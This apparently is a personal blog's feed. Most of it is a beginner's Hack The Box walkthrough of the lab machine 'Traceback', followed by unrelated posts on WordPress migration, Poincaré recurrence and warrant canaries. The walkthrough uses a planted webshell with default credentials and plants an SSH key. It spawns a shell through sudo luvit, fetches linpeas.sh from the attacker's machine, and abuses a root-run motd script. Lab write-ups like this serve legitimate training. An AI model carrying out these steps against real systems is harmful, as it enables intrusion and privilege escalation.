</code></pre><figure class="kg-card kg-image-card"><img src="https://storage.ghost.io/c/47/28/4728c47e-c556-4c14-ac30-6ac50c471a62/content/images/2020/06/Screen-Shot-2020-06-21-at-12.03.39-PM.png" class="kg-image" alt="Hack the Box write up for Devel" loading="lazy"></figure><!--kg-card-begin: markdown--><p>I goofed at first and left out the session. I added it and the exploit worked.</p>
<!--kg-card-end: markdown--><figure class="kg-card kg-image-card"><img src="https://storage.ghost.io/c/47/28/4728c47e-c556-4c14-ac30-6ac50c471a62/content/images/2020/06/Screen-Shot-2020-06-21-at-12.03.47-PM.png" class="kg-image" alt="Hack the Box write up for Devel" loading="lazy"></figure><!--kg-card-begin: markdown--><p>If you did everything correctly you should be back at a meterpreter prompt. If you run whoami you should see:</p>
<!--kg-card-end: markdown--><figure class="kg-card kg-image-card"><img src="https://storage.ghost.io/c/47/28/4728c47e-c556-4c14-ac30-6ac50c471a62/content/images/2020/06/Screen-Shot-2020-06-21-at-12.04.18-PM.png" class="kg-image" alt="Hack the Box write up for Devel" loading="lazy"></figure><p>Great, we own this box. Go grab the user.txt and root.txt. &#xA0;I initially had some trouble remembering which windows commands to use. I eventually figured it out. </p><figure class="kg-card kg-image-card"><img src="https://storage.ghost.io/c/47/28/4728c47e-c556-4c14-ac30-6ac50c471a62/content/images/2020/06/Screen-Shot-2020-06-21-at-12.05.06-PM.png" class="kg-image" alt="Hack the Box write up for Devel" loading="lazy"></figure><figure class="kg-card kg-image-card"><img src="https://storage.ghost.io/c/47/28/4728c47e-c556-4c14-ac30-6ac50c471a62/content/images/2020/06/Screen-Shot-2020-06-21-at-12.04.05-PM.png" class="kg-image" alt="Hack the Box write up for Devel" loading="lazy"></figure><p>User flag is:</p><pre><code class="language-bash">9ecdd6a3aedf24b41562fea70f4cb3e8
</code></pre><p>Root flag is:</p><pre><code class="language-bash">e621a0b5041708797c4fc4728bc72b4b
</code></pre><p>This box was fairly easy. Metasploit makes it pretty easy to find exploits. Figuring out which module and options is the hardest part. Google is your friend here. There are a lot of walkthroughs on this box you can use for additional help too.</p><p>This box was a lot of fun. I&apos;d recommend it to beginners like me.</p>]]></content:encoded></item><item><title><![CDATA[Hack The Box write up for Traceback]]></title><description><![CDATA[This guide will help you complete the traceback challenge at hackthebox.eu.]]></description><link>https://joshkerr.com/hackthebox-traceback-walkthrough/</link><guid isPermaLink="false">5eef59608c7f770039c0d3f3</guid><category><![CDATA[hacking]]></category><dc:creator><![CDATA[Josh Kerr]]></dc:creator><pubDate>Sun, 21 Jun 2020 13:09:51 GMT</pubDate><media:content url="https://images.unsplash.com/photo-1563206767-5b18f218e8de?ixlib=rb-1.2.1&amp;q=80&amp;fm=jpg&amp;crop=entropy&amp;cs=tinysrgb&amp;w=2000&amp;fit=max&amp;ixid=eyJhcHBfaWQiOjExNzczfQ" medium="image"/><content:encoded><![CDATA[<!--kg-card-begin: markdown--><h2 id="thiswasagreatbox">This was a great box!</h2>
<!--kg-card-end: markdown--><img src="https://images.unsplash.com/photo-1563206767-5b18f218e8de?ixlib=rb-1.2.1&amp;q=80&amp;fm=jpg&amp;crop=entropy&amp;cs=tinysrgb&amp;w=2000&amp;fit=max&amp;ixid=eyJhcHBfaWQiOjExNzczfQ" alt="Hack The Box write up for Traceback"><p>This article is my guide for hacking traceback, one of the retired machines at <a href="http://hackthebox.eu/?ref=joshkerr.com">HackTheBox.eu</a>. This is my first hacking guide, so hopefully i&apos;m doing this correctly.</p><p>I enjoyed this box. It was right at my skill level and took me about two hours to complete.</p><p>For <a href="https://www.eccouncil.org/ethical-hacking/?ref=joshkerr.com">ethical hacking</a>, I&apos;m using <a href="https://parrotlinux.org/?ref=joshkerr.com">Parrot Security Linux</a> running in a VM.</p><p>To start, instead of using the target box&apos;s IP address, I created an /etc/hosts entry for it called traceback.htb. This change makes things a lot easier because I don&apos;t need to remember the IP address of the box.</p><pre><code class="language-bash">sudo echo &quot;10.10.10.181 &gt;&gt; /etc/hosts
</code></pre><h2 id="nmap-initial-scan">Nmap initial scan</h2><pre><code class="language-bash">nmap -A traceback.htb


Starting Nmap 7.80 ( https://nmap.org ) at 2020-06-20 14:43 CDT
Nmap scan report for traceback.htb (10.10.10.181)
Host is up (0.061s latency).
Not shown: 998 closed ports
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   2048 96:25:51:8e:6c:83:07:48:ce:11:4b:1f:e5:6d:8a:28 (RSA)
|   256 54:bd:46:71:14:bd:b2:42:a1:b6:b0:2d:94:14:3b:0d (ECDSA)
|_  256 4d:c3:f8:52:b8:85:ec:9c:3e:4d:57:2c:4a:82:fd:86 (ED25519)
80/tcp open  http    Apache httpd 2.4.29 ((Ubuntu))
|_http-server-header: Apache/2.4.29 (Ubuntu)
|_http-title: Help us
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 9.38 seconds
</code></pre><p>Pretty simple scan. It looks like web and ssh are available.</p><p>Web site looks like this:</p><figure class="kg-card kg-image-card"><img src="https://storage.ghost.io/c/47/28/4728c47e-c556-4c14-ac30-6ac50c471a62/content/images/2020/06/Screen-Shot-2020-06-20-at-2.43.48-PM.png" class="kg-image" alt="Hack The Box write up for Traceback" loading="lazy"></figure><p>Viewing source on the website reveals this:</p><figure class="kg-card kg-image-card"><img src="https://storage.ghost.io/c/47/28/4728c47e-c556-4c14-ac30-6ac50c471a62/content/images/2020/06/Screen-Shot-2020-06-20-at-2.47.34-PM.png" class="kg-image" alt="Hack The Box write up for Traceback" loading="lazy"></figure><p>Hmm...</p><p>I decided to search google for that string:</p><figure class="kg-card kg-image-card"><img src="https://storage.ghost.io/c/47/28/4728c47e-c556-4c14-ac30-6ac50c471a62/content/images/2020/06/Screen-Shot-2020-06-20-at-2.48.50-PM.png" class="kg-image" alt="Hack The Box write up for Traceback" loading="lazy"></figure><p>It looks like we got a hit. I&apos;m going to see if any of those shells are installed on this server, time for gobuster.</p><p>I took that list of shells from GitHub and dumped them into a text file called shells.txt. Let&apos;s see if we can find them on the server:</p><figure class="kg-card kg-image-card"><img src="https://storage.ghost.io/c/47/28/4728c47e-c556-4c14-ac30-6ac50c471a62/content/images/2020/06/Screen-Shot-2020-06-20-at-2.55.14-PM.png" class="kg-image" alt="Hack The Box write up for Traceback" loading="lazy"></figure><p>Now let&apos;s fire up gobuster:</p><figure class="kg-card kg-image-card"><img src="https://storage.ghost.io/c/47/28/4728c47e-c556-4c14-ac30-6ac50c471a62/content/images/2020/06/Screen-Shot-2020-06-20-at-2.55.51-PM.png" class="kg-image" alt="Hack The Box write up for Traceback" loading="lazy"></figure><p>We got a hit!</p><p>I loaded the page into the browser:</p><pre><code class="language-bash">http://traceback.htb/smevk.php
</code></pre><p>And this came up:</p><figure class="kg-card kg-image-card"><img src="https://storage.ghost.io/c/47/28/4728c47e-c556-4c14-ac30-6ac50c471a62/content/images/2020/06/Screen-Shot-2020-06-20-at-2.57.48-PM.png" class="kg-image" alt="Hack The Box write up for Traceback" loading="lazy"></figure><p>Looking at the source code of the original on GitHub, I can see a default login embedded in code.</p><figure class="kg-card kg-image-card"><img src="https://storage.ghost.io/c/47/28/4728c47e-c556-4c14-ac30-6ac50c471a62/content/images/2020/06/Screen-Shot-2020-06-20-at-2.57.24-PM.png" class="kg-image" alt="Hack The Box write up for Traceback" loading="lazy"></figure><pre><code>Username: admin
Password: admin
</code></pre><p>Let&apos;s try those.</p><figure class="kg-card kg-image-card"><img src="https://storage.ghost.io/c/47/28/4728c47e-c556-4c14-ac30-6ac50c471a62/content/images/2020/06/Screen-Shot-2020-06-20-at-2.58.09-PM.png" class="kg-image" alt="Hack The Box write up for Traceback" loading="lazy"></figure><p>...we are in. It looks like the current user is webadmin. After browsing around in the webadmin folder, I noticed that the /home/webadmin/.ssh folder is writable. We can upload an authorized_keys file with our key in it to gain access via ssh. Gaining ssh will be very helpful.</p><p>First, let&apos;s generate an ssh key:</p><pre><code class="language-bash">ssh-keygen
</code></pre><figure class="kg-card kg-image-card"><img src="https://storage.ghost.io/c/47/28/4728c47e-c556-4c14-ac30-6ac50c471a62/content/images/2020/06/Screen-Shot-2020-06-20-at-3.03.31-PM.png" class="kg-image" alt="Hack The Box write up for Traceback" loading="lazy"></figure><p>Now let&apos;s copy the public key to authorized_keys:</p><pre><code class="language-bash">cp traceback.pub authorized_keys
</code></pre><p>Now let&apos;s upload it via the form on the website:</p><figure class="kg-card kg-image-card"><img src="https://storage.ghost.io/c/47/28/4728c47e-c556-4c14-ac30-6ac50c471a62/content/images/2020/06/Screen-Shot-2020-06-20-at-3.05.38-PM.png" class="kg-image" alt="Hack The Box write up for Traceback" loading="lazy"></figure><p>Great, it took it. Now let&apos;s chmod the private key so we can use it.</p><pre><code class="language-bash">chmod 600 traceback</code></pre><p>Now let&apos;s ssh into the box:</p><pre><code class="language-bash">ssh -I traceback webadmin@traceback.htb
</code></pre><figure class="kg-card kg-image-card"><img src="https://storage.ghost.io/c/47/28/4728c47e-c556-4c14-ac30-6ac50c471a62/content/images/2020/06/Screen-Shot-2020-06-20-at-3.08.12-PM.png" class="kg-image" alt="Hack The Box write up for Traceback" loading="lazy"></figure><p>We are in!</p><figure class="kg-card kg-image-card"><img src="https://storage.ghost.io/c/47/28/4728c47e-c556-4c14-ac30-6ac50c471a62/content/images/2020/06/Screen-Shot-2020-06-20-at-3.08.24-PM.png" class="kg-image" alt="Hack The Box write up for Traceback" loading="lazy"></figure><p>Let&apos;s see if there are any programs we can run as root:</p><pre><code class="language-bash">sudo -l
</code></pre><figure class="kg-card kg-image-card"><img src="https://storage.ghost.io/c/47/28/4728c47e-c556-4c14-ac30-6ac50c471a62/content/images/2020/06/Screen-Shot-2020-06-20-at-3.09.35-PM.png" class="kg-image" alt="Hack The Box write up for Traceback" loading="lazy"></figure><p>Oh, this looks promising. I google luvit and found this:</p><figure class="kg-card kg-image-card"><img src="https://storage.ghost.io/c/47/28/4728c47e-c556-4c14-ac30-6ac50c471a62/content/images/2020/06/Screen-Shot-2020-06-20-at-3.10.54-PM.png" class="kg-image" alt="Hack The Box write up for Traceback" loading="lazy"></figure><p>Luvit looks like a Lua application. I went to gtfobins to see if I could exploit a Lua application.</p><figure class="kg-card kg-image-card"><img src="https://storage.ghost.io/c/47/28/4728c47e-c556-4c14-ac30-6ac50c471a62/content/images/2020/06/Screen-Shot-2020-06-20-at-3.12.46-PM.png" class="kg-image" alt="Hack The Box write up for Traceback" loading="lazy"></figure><p>And here is our strategy. First, I executed:</p><pre><code class="language-bash">sudo -u sysadmin /home/sysadmin/luvit
</code></pre><p>The application prompted me to enter something. I typed in the command I got from gtfobins but used bash instead of sh:</p><pre><code class="language-bash">os.execute(&quot;/bin/bash -i&quot;)
</code></pre><p>Now I&apos;ve got access to sysadmin and the first flag!</p><figure class="kg-card kg-image-card"><img src="https://storage.ghost.io/c/47/28/4728c47e-c556-4c14-ac30-6ac50c471a62/content/images/2020/06/Screen-Shot-2020-06-20-at-3.15.14-PM.png" class="kg-image" alt="Hack The Box write up for Traceback" loading="lazy"></figure><figure class="kg-card kg-image-card"><img src="https://storage.ghost.io/c/47/28/4728c47e-c556-4c14-ac30-6ac50c471a62/content/images/2020/06/Screen-Shot-2020-06-20-at-3.18.18-PM.png" class="kg-image" alt="Hack The Box write up for Traceback" loading="lazy"></figure><pre><code class="language-bash">11dadca21fe54bc8d753f61fc7a47ada
</code></pre><p>Now let&apos;s see if we can get root.</p><p>I downloaded linpeas.sh from <a href="https://raw.githubusercontent.com/carlospolop/privilege-escalation-awesome-scripts-suite/master/linPEAS/linpeas.sh?ref=joshkerr.com">here</a>.</p><pre><code class="language-bash">wget https://raw.githubusercontent.com/carlospolop/privilege-escalation-awesome-scripts-suite/master/linPEAS/linpeas.sh
</code></pre><p>I tried to get it directly on the box, but that didn&apos;t work.</p><figure class="kg-card kg-image-card"><img src="https://storage.ghost.io/c/47/28/4728c47e-c556-4c14-ac30-6ac50c471a62/content/images/2020/06/Screen-Shot-2020-06-20-at-3.21.46-PM.png" class="kg-image" alt="Hack The Box write up for Traceback" loading="lazy"></figure><p>I&apos;m going to download it to my local box and use python&apos;s built-in http server to upload it. I&apos;m executing this in the same folder that linpeas.sh is in.</p><pre><code class="language-bash">python -m SimpleHTTPServer
</code></pre><p>Now I can access it from the remote by calling:</p><pre><code class="language-bash">wget http://10.10.14.26:8000/linpeas.sh
</code></pre><figure class="kg-card kg-image-card"><img src="https://storage.ghost.io/c/47/28/4728c47e-c556-4c14-ac30-6ac50c471a62/content/images/2020/06/Screen-Shot-2020-06-20-at-3.23.31-PM.png" class="kg-image" alt="Hack The Box write up for Traceback" loading="lazy"></figure><p>Let&apos;s make it executable:</p><pre><code class="language-bash">chmod +x linpeas.sh
</code></pre><p>Now let&apos;s run linpeas.sh</p><pre><code class="language-bash">./linpeas.sh
</code></pre><figure class="kg-card kg-image-card"><img src="https://storage.ghost.io/c/47/28/4728c47e-c556-4c14-ac30-6ac50c471a62/content/images/2020/06/Screen-Shot-2020-06-20-at-3.26.36-PM.png" class="kg-image" alt="Hack The Box write up for Traceback" loading="lazy"></figure><p>Scrolling through the output, I noticed this:</p><figure class="kg-card kg-image-card"><img src="https://storage.ghost.io/c/47/28/4728c47e-c556-4c14-ac30-6ac50c471a62/content/images/2020/06/Screen-Shot-2020-06-20-at-3.28.47-PM.png" class="kg-image" alt="Hack The Box write up for Traceback" loading="lazy"></figure><p>00-header seems to be the header message when you log in:</p><figure class="kg-card kg-image-card"><img src="https://storage.ghost.io/c/47/28/4728c47e-c556-4c14-ac30-6ac50c471a62/content/images/2020/06/Screen-Shot-2020-06-20-at-3.30.26-PM.png" class="kg-image" alt="Hack The Box write up for Traceback" loading="lazy"></figure><p>I decided to see if I could run &quot;id&quot; from that shell when I log in as webadmin. The command would tell me what priv&apos;s are being executed when that script is run.</p><pre><code class="language-bash">echo &quot;id&quot; &gt;&gt; /etc/update-motd.d/00-header
</code></pre><p>When I log in, it should print out what user is executing that file. Hopefully root.</p><figure class="kg-card kg-image-card"><img src="https://storage.ghost.io/c/47/28/4728c47e-c556-4c14-ac30-6ac50c471a62/content/images/2020/06/Screen-Shot-2020-06-20-at-3.33.56-PM.png" class="kg-image" alt="Hack The Box write up for Traceback" loading="lazy"></figure><p>Boom root! Ok, let&apos;s exploit that. We know that the root flag is always /root/root.txt.</p><pre><code class="language-bash">echo &quot;cat /root/root.txt&quot; &gt;&gt; /etc/update-motd.d/00-header
</code></pre><p>Now let&apos;s log in again.</p><figure class="kg-card kg-image-card"><img src="https://storage.ghost.io/c/47/28/4728c47e-c556-4c14-ac30-6ac50c471a62/content/images/2020/06/Screen-Shot-2020-06-20-at-3.36.52-PM.png" class="kg-image" alt="Hack The Box write up for Traceback" loading="lazy"></figure><p>And you can see the root flag printed:</p><pre><code>b2a2c50f8f2c0d1acb6c0aaf090712c9
</code></pre><p>We are all done! We could&apos;ve easily used that exploit to gain actual root on the box, but all I needed for this activity was the root flag. This box was fun! I highly recommend it.</p>]]></content:encoded></item><item><title><![CDATA[Stunning sunset in downtown Austin, TX]]></title><description><![CDATA[<p>I took this photo from my balcony. I used my iPhone XS (which takes pretty great photos.)</p>]]></description><link>https://joshkerr.com/stunning-sunset-in-downtown-austin-tx/</link><guid isPermaLink="false">5c7fed1168242d00c0403c53</guid><dc:creator><![CDATA[Josh Kerr]]></dc:creator><pubDate>Wed, 06 Mar 2019 15:54:41 GMT</pubDate><media:content url="https://storage.ghost.io/c/47/28/4728c47e-c556-4c14-ac30-6ac50c471a62/content/images/2019/03/IMG_0495.jpg" medium="image"/><content:encoded><![CDATA[<img src="https://storage.ghost.io/c/47/28/4728c47e-c556-4c14-ac30-6ac50c471a62/content/images/2019/03/IMG_0495.jpg" alt="Stunning sunset in downtown Austin, TX"><p>I took this photo from my balcony. I used my iPhone XS (which takes pretty great photos.)</p>]]></content:encoded></item><item><title><![CDATA[How to move your blog from Medium to Wordpress]]></title><description><![CDATA[<p>Medium recently shut down their third-party API without any notice. I was immediately incensed and decided to migrate my blog away from <a href="https://joshkerr.com/i-trust-medium-to-host-my-blog-and-you-should-too/">Medium</a>. You can read more angst on this <a href="https://medium.com/@nikitonsky/medium-is-a-poor-choice-for-blogging-bb0048d19133?ref=joshkerr.com">post</a> and followup discussion on <a href="https://news.ycombinator.com/item?id=18440756&amp;ref=joshkerr.com">HackerNews</a> about why I left.</p><p>This article will show you how to migrate your content</p>]]></description><link>https://joshkerr.com/how-to-move-your-blog-from-medium-to-wordpress/</link><guid isPermaLink="false">696c5f62e350830001873192</guid><category><![CDATA[Uncategorized]]></category><category><![CDATA[Blogging]]></category><category><![CDATA[Medium]]></category><category><![CDATA[WordPress]]></category><dc:creator><![CDATA[Josh Kerr]]></dc:creator><pubDate>Fri, 01 Feb 2019 21:17:45 GMT</pubDate><media:content url="https://storage.ghost.io/c/47/28/4728c47e-c556-4c14-ac30-6ac50c471a62/content/images/2026/01/img_0010.jpg" medium="image"/><content:encoded><![CDATA[<img src="https://storage.ghost.io/c/47/28/4728c47e-c556-4c14-ac30-6ac50c471a62/content/images/2026/01/img_0010.jpg" alt="How to move your blog from Medium to Wordpress"><p>Medium recently shut down their third-party API without any notice. I was immediately incensed and decided to migrate my blog away from <a href="https://joshkerr.com/i-trust-medium-to-host-my-blog-and-you-should-too/">Medium</a>. You can read more angst on this <a href="https://medium.com/@nikitonsky/medium-is-a-poor-choice-for-blogging-bb0048d19133?ref=joshkerr.com">post</a> and followup discussion on <a href="https://news.ycombinator.com/item?id=18440756&amp;ref=joshkerr.com">HackerNews</a> about why I left.</p><p>This article will show you how to migrate your content on Medium to Wordpress. In my case, I&apos;m hosting at Wordpress.com, but you can use these same steps to migrate to any hosted wordpress installation.</p><p>The first step is to get your content out of Medium. You can do this from the settings page under your account.</p><figure class="kg-card kg-image-card"><img src="https://storage.ghost.io/c/47/28/4728c47e-c556-4c14-ac30-6ac50c471a62/content/images/2026/01/screen-shot-2019-02-01-at-3-06-18-pm.png" class="kg-image" alt="How to move your blog from Medium to Wordpress" loading="lazy"></figure><p>Once you&apos;ve notified Medium that you want a copy of your content, you&apos;ll need to wait for the email. Once you recieve the email, you can go ahead and download the zip file.</p><p>Now that you&apos;ve got the zip file its time to head over to Wordpress.com. If you don&apos;t already have a Wordpress account, go ahead and set one up. Wordpress has a built in feature allowing you to import directly from Medium. We will use this feature as an interim step in getting our content to our Wordpress installation. You can read more about this feature on Wordpress&apos;s <a href="https://en.support.wordpress.com/import/import-from-medium/?ref=joshkerr.com">website</a>.</p><figure class="kg-card kg-image-card kg-card-hascaption"><img src="https://storage.ghost.io/c/47/28/4728c47e-c556-4c14-ac30-6ac50c471a62/content/images/2026/01/tools-import1.png" class="kg-image" alt="How to move your blog from Medium to Wordpress" loading="lazy"><figcaption>Select the &quot;Import&quot; option</figcaption></figure><figure class="kg-card kg-image-card kg-card-hascaption"><img src="https://storage.ghost.io/c/47/28/4728c47e-c556-4c14-ac30-6ac50c471a62/content/images/2026/01/import-options.png" class="kg-image" alt="How to move your blog from Medium to Wordpress" loading="lazy"><figcaption>Select the &quot;Medium Option&quot;</figcaption></figure><figure class="kg-card kg-image-card"><img src="https://storage.ghost.io/c/47/28/4728c47e-c556-4c14-ac30-6ac50c471a62/content/images/2026/01/import-medium2.png" class="kg-image" alt="How to move your blog from Medium to Wordpress" loading="lazy"></figure><p>Now select the zip file you downloaded from the previous step and drag it over to the upload area on the page. Click &quot;start import&quot; and you should see this:</p><figure class="kg-card kg-image-card"><img src="https://storage.ghost.io/c/47/28/4728c47e-c556-4c14-ac30-6ac50c471a62/content/images/2026/01/screen-shot-2017-02-27-at-1-33-30-pm.png" class="kg-image" alt="How to move your blog from Medium to Wordpress" loading="lazy"></figure><p>When you are all done, you should have all of your Medium content inside your Wordpress.com blog. Now if you want to move it to another blog (not hosted on Wordpress.com) you can simply export it in the standard Wordpress format and then import it on any hosted Wordpress blog.</p><p>I followed these steps on my own blog and everything moved over perfectly. If you are using a version of Wordpress &gt; 5.0, you&apos;ll get prompts to convert your content into &quot;blocks&quot; when you first go to edit posts. Other than that, I found no issues migrating my blog away from Medium and on to Wordpress.</p>]]></content:encoded></item><item><title><![CDATA[Proof that the Universe will repeat itself]]></title><description><![CDATA[Discover the Poincaré recurrence theorem—a mind-bending mathematical proof that suggests everything in the universe, including you, will happen again given enough time.]]></description><link>https://joshkerr.com/proof-that-the-universe-will-repeat-itself/</link><guid isPermaLink="false">696c5f62e350830001873191</guid><category><![CDATA[Mathematics]]></category><dc:creator><![CDATA[Josh Kerr]]></dc:creator><pubDate>Sun, 26 Mar 2017 01:20:33 GMT</pubDate><media:content url="https://storage.ghost.io/c/47/28/4728c47e-c556-4c14-ac30-6ac50c471a62/content/images/2026/01/universe.jpg" medium="image"/><content:encoded><![CDATA[<img src="https://storage.ghost.io/c/47/28/4728c47e-c556-4c14-ac30-6ac50c471a62/content/images/2026/01/universe.jpg" alt="Proof that the Universe will repeat itself"><p>What if I told you the universe is destined to repeat itself&#x2014;and that includes <em>you</em>? Before you dismiss me as having spent too much time staring at the night sky, let me introduce you to one of the most mind-bending theorems in mathematics: the <strong>Poincar&#xE9; recurrence theorem</strong>. It&apos;s a legitimate mathematical proof that suggests, given enough time, everything will happen again. Yes, <em>everything</em>.</p><figure class="kg-card kg-image-card kg-card-hascaption"><img src="https://storage.ghost.io/c/47/28/4728c47e-c556-4c14-ac30-6ac50c471a62/content/images/2026/01/f64e2-1mubw2iorszqhjh9hw4wpsa-jpeg.jpg" class="kg-image" alt="Proof that the Universe will repeat itself" loading="lazy" width="1000" height="562" srcset="https://storage.ghost.io/c/47/28/4728c47e-c556-4c14-ac30-6ac50c471a62/content/images/size/w600/2026/01/f64e2-1mubw2iorszqhjh9hw4wpsa-jpeg.jpg 600w, https://storage.ghost.io/c/47/28/4728c47e-c556-4c14-ac30-6ac50c471a62/content/images/2026/01/f64e2-1mubw2iorszqhjh9hw4wpsa-jpeg.jpg 1000w" sizes="(min-width: 720px) 720px"><figcaption><span style="white-space: pre-wrap;">Henri Poincar&#xE9; (1854&#x2013;1912): The last &quot;universalist&quot; in mathematics</span></figcaption></figure><h2 id="meet-the-mathematical-genius-behind-the-theorem">Meet the Mathematical Genius Behind the Theorem</h2><p>Henri Poincar&#xE9; wasn&apos;t your average mathematician&#x2014;he was described as the last &quot;universalist,&quot; meaning he made groundbreaking contributions to <em>every single field</em> of mathematics known during his lifetime. At age 13, his teacher prophetically told his mother: &quot;Henri will become a mathematician&#x2026; I would say a great mathematician.&quot; Another teacher simply called him a &quot;monster of mathematics.&quot;</p><p>Here&apos;s a fun fact: Poincar&#xE9; had terrible eyesight and couldn&apos;t see the blackboard during lectures. His solution? He sat in the back and <em>memorized everything by ear</em>, following along perfectly without taking notes. He would solve entire problems completely in his head before committing anything to paper.</p><p>In 1890, while working on the famous three-body problem (how three celestial objects move under mutual gravity), Poincar&#xE9; stumbled upon something profound: in any bounded system with finite energy, the system will eventually return arbitrarily close to its initial state.</p><h2 id="the-shoebox-thought-experiment">The Shoebox Thought Experiment</h2><p>Imagine you have a sealed shoebox filled with gas molecules bouncing around. The Poincar&#xE9; recurrence theorem tells us that if we wait long enough, those molecules will eventually return to almost exactly the same configuration they started in. Every. Single. Molecule. Back where it began.</p><figure class="kg-card kg-image-card kg-card-hascaption"><img src="https://storage.ghost.io/c/47/28/4728c47e-c556-4c14-ac30-6ac50c471a62/content/images/2026/01/508a8-1gxwru-n1xdownzr8lbbcmw.png" class="kg-image" alt="Proof that the Universe will repeat itself" loading="lazy" width="550" height="327"><figcaption><span style="white-space: pre-wrap;">A visualization of how states in phase space eventually return near their starting point</span></figcaption></figure><p>This isn&apos;t magic or mysticism&#x2014;it&apos;s pure mathematics. Because the box is finite and the total energy is conserved, there are only so many possible arrangements the molecules can take. Given infinite time, the system <em>must</em> cycle back through all configurations, including the original one. The probability isn&apos;t just high; it&apos;s mathematically <strong>certain</strong>.</p><h2 id="scaling-up-to-the-universe">Scaling Up to the Universe</h2><p>Here&apos;s where things get deliciously weird. If we assume the observable universe is a finite, closed system (a big &quot;if&quot; that we&apos;ll address), then the same logic applies. Physicist Don Page calculated the Poincar&#xE9; recurrence time for a hypothetical box containing a black hole with the mass of the observable universe.</p><p>The result? Approximately:</p>
<!--kg-card-begin: html-->
<p style="text-align: center; font-size: 1.3em;">$$10^{10^{10^{10^{2.08}}}}$$ Planck times</p>
<!--kg-card-end: html-->
<p>But wait&#x2014;there&apos;s more! Page later calculated the recurrence time for a Linde-type super-inflationary universe, arriving at:</p>
<!--kg-card-begin: html-->
<p style="text-align: center; font-size: 1.3em;">$$10^{10^{10^{10^{10^{1.1}}}}}$$ years</p>
<!--kg-card-end: html-->
<p>Page claimed this is &quot;the longest finite length of time ever explicitly calculated by any physicist.&quot; To give you some perspective: the age of the universe is about 13.8 billion years, or roughly \(10^{10}\) years. This recurrence time has <em>five levels of exponentiation</em>. It&apos;s so incomprehensibly vast that whether you measure it in Planck times, years, or millennia makes essentially no difference.</p><h2 id="the-party-pooper-heat-death">The Party Pooper: Heat Death</h2><figure class="kg-card kg-image-card kg-card-hascaption"><img src="https://storage.ghost.io/c/47/28/4728c47e-c556-4c14-ac30-6ac50c471a62/content/images/2026/01/e489b-1giuqhswwpty3xbga-zjlka.gif" class="kg-image" alt="Proof that the Universe will repeat itself" loading="lazy" width="550" height="647"><figcaption><span style="white-space: pre-wrap;">The universe continuing to expand and cool toward heat death</span></figcaption></figure><p>Unfortunately, there&apos;s a cosmic buzzkill. The universe will experience &quot;heat death&quot; in roughly \(10^{100}\) years&#x2014;when all stars burn out, black holes evaporate, and everything reaches maximum entropy. That&apos;s incomprehensibly far in the future, but it&apos;s still a rounding error compared to Poincar&#xE9; recurrence time.</p><p>Also, modern cosmology suggests the universe may not be the bounded, finite system the theorem requires. If the universe is infinite or continuously expanding (which current evidence supports), the recurrence theorem may not apply at all.</p><h2 id="so-will-you-be-reincarnated">So... Will You Be Reincarnated?</h2><p>The honest answer: <em>probably not through this mechanism</em>. The conditions for Poincar&#xE9; recurrence likely don&apos;t hold for our actual universe. But here&apos;s what&apos;s genuinely remarkable: if those conditions <em>were</em> met, your reincarnation wouldn&apos;t be a matter of faith or hope&#x2014;it would be mathematical certainty. The same atoms, in the same configurations, having the same thoughts, reading this same article. An infinite number of times.</p><p>Even if it doesn&apos;t literally apply to our cosmos, the Poincar&#xE9; recurrence theorem remains one of the most beautiful demonstrations of how mathematics can take a simple premise and derive conclusions that boggle the mind. It&apos;s proof that the universe&#x2014;or at least the mathematics that describes it&#x2014;is far stranger than we might expect.</p><p>And hey, if nothing else, it gives &quot;I&apos;ll do it eventually&quot; a whole new meaning.</p><hr><h3 id="sources">Sources</h3><p>&#x2022; <a href="https://mathshistory.st-andrews.ac.uk/Biographies/Poincare/?ref=joshkerr.com" rel="noopener">MacTutor History of Mathematics: Henri Poincar&#xE9; Biography</a></p><p>&#x2022; <a href="https://www.britannica.com/biography/Henri-Poincare?ref=joshkerr.com" rel="noopener">Britannica: Henri Poincar&#xE9; - French Mathematician &amp; Physicist</a></p><p>&#x2022; <a href="https://en.wikipedia.org/wiki/Poincar%C3%A9_recurrence_theorem?ref=joshkerr.com" rel="noopener">Wikipedia: Poincar&#xE9; Recurrence Theorem</a></p><p>&#x2022; <a href="https://googology.fandom.com/wiki/Poincar%C3%A9_recurrence_time?ref=joshkerr.com" rel="noopener">Googology Wiki: Poincar&#xE9; Recurrence Time</a></p><p>&#x2022; <a href="https://en.wikipedia.org/wiki/Heat_death_of_the_universe?ref=joshkerr.com" rel="noopener">Wikipedia: Heat Death of the Universe</a></p>]]></content:encoded></item><item><title><![CDATA[How canaries protect us from the snooping US Government]]></title><description><![CDATA[Learn how warrant canaries exploit a legal loophole to alert users when companies receive secret government surveillance orders—and what happens when they go silent.]]></description><link>https://joshkerr.com/how-canaries-protect-us-from-the-snooping-us-government/</link><guid isPermaLink="false">696c5f62e350830001873190</guid><category><![CDATA[Privacy]]></category><category><![CDATA[Surveillance]]></category><dc:creator><![CDATA[Josh Kerr]]></dc:creator><pubDate>Tue, 06 Dec 2016 09:25:14 GMT</pubDate><media:content url="https://storage.ghost.io/c/47/28/4728c47e-c556-4c14-ac30-6ac50c471a62/content/images/2026/01/img_0021.jpg" medium="image"/><content:encoded><![CDATA[<img src="https://storage.ghost.io/c/47/28/4728c47e-c556-4c14-ac30-6ac50c471a62/content/images/2026/01/img_0021.jpg" alt="How canaries protect us from the snooping US Government"><p>In the early days of coal mining, workers faced an invisible killer: toxic gases like carbon monoxide and methane that could accumulate without warning. Their solution was elegantly simple&#x2014;bring a canary into the mine. These small birds, more sensitive to poison than humans, would stop singing or collapse before gas levels became lethal, giving miners a crucial early warning to evacuate.</p><p>Today, a different kind of canary protects us from a different kind of threat. In the digital age, <strong>warrant canaries</strong> serve as an early warning system against secret government surveillance&#x2014;and they exploit a clever legal loophole that turns silence into speech.</p><h2 id="the-problem-national-security-letters">The Problem: National Security Letters</h2><p>One of the tools used by the FBI to investigate national security threats is called a <strong>National Security Letter (NSL)</strong>. These letters, which originated in the 1986 Electronic Communications Privacy Act and were expanded by the USA PATRIOT Act in 2001, allow the government to secretly demand user data from companies&#x2014;emails, phone records, browsing history&#x2014;without a traditional warrant.<sup>[1]</sup></p><p>Here&apos;s the catch: NSLs typically come with a <strong>gag order</strong> that makes it illegal for companies to tell anyone they received one. Not their users. Not their lawyers. Not the press. The company is legally compelled to hand over data <em>and</em> stay silent about it.</p><p>A federal court has 